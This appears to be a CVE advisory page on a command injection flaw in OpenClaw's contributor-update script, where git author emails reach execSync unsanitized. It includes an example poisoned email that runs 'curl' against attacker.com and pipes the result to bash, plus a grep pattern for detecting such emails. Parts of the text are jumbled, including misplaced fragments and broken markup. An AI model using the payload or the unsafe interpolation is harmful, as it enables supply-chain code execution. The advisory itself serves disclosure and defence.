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The vulnerability resides in the `scripts/update-clawtributors.ts` script, a development tool not included in standard CLI installations. The script’s function is to update a list of contributors by processing the repository’s git log. To do this, it extracts the author email from each commit. From this email, it attempts to derive a GitHub login, which is then directly interpolated into a shell command string. This command is executed using execSync. A malicious actor can craft a commit with a specially designed author email containing shell metacharacters (like ;, &&, $(...)). When a maintainer or a CI system runs this script in a repository containing that malicious commit, the shell command is constructed with the unsanitized email. The shell interprets the metacharacters and executes the attacker’s injected code alongside the intended command, leading to arbitrary code execution on the victim’s machine. This poses a significant supply chain risk to the project’s development infrastructure.
dailycve form:
Platform: OpenClaw
Version: v2026.1.8 – v2026.2.13
Vulnerability: Command Injection
Severity: High
date: February 2026
Prediction: 2026.2.14
What Undercode Say:
Analytics:
The vulnerable code pattern (conceptual) The script likely used something like: const authorEmail = "[email protected]; malicious-command"; const githubLogin = extractLoginFromEmail(authorEmail); execSync(<code>some-command-that-uses ${githubLogin}</code>); To check if your local repo contains malicious commits: Search for shell metacharacters in author emails that could be used for injection. This is a basic pattern and may not catch all obfuscated attempts. git log --format="%ae" | grep -E "[;&$|<code>]"
<h2 style=”color: blue;”>Exploit:</h2>
An attacker would create a commit with a poisoned author email. For example:“[email protected]; curl -s http://attacker.com/payload | bash “.process-author [email protected]; curl -s http://attacker.com/payload | bash
When a developer runs the vulnerable script on this repository, the shell command becomes something like, executing the payload.a429380`. As a defense-in-depth measure, developers should avoid interpolating untrusted data (like git metadata) directly into shell commands and use parameterized APIs or safer methods for deriving usernames.
<h2 style="color: blue;">Protection from this CVE:</h2>
The immediate fix is to update OpenClaw to version v2026.2.14 or later, which includes the patch commit
Impact:
Successful exploitation allows an attacker to execute arbitrary commands on the machine of a project maintainer or within its CI/CD pipeline. This could lead to source code theft, insertion of backdoors into releases, or theft of signing keys and credentials, compromising the entire software supply chain of the OpenClaw project.
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Sources:
Reported By: github.com
Extra Source Hub:
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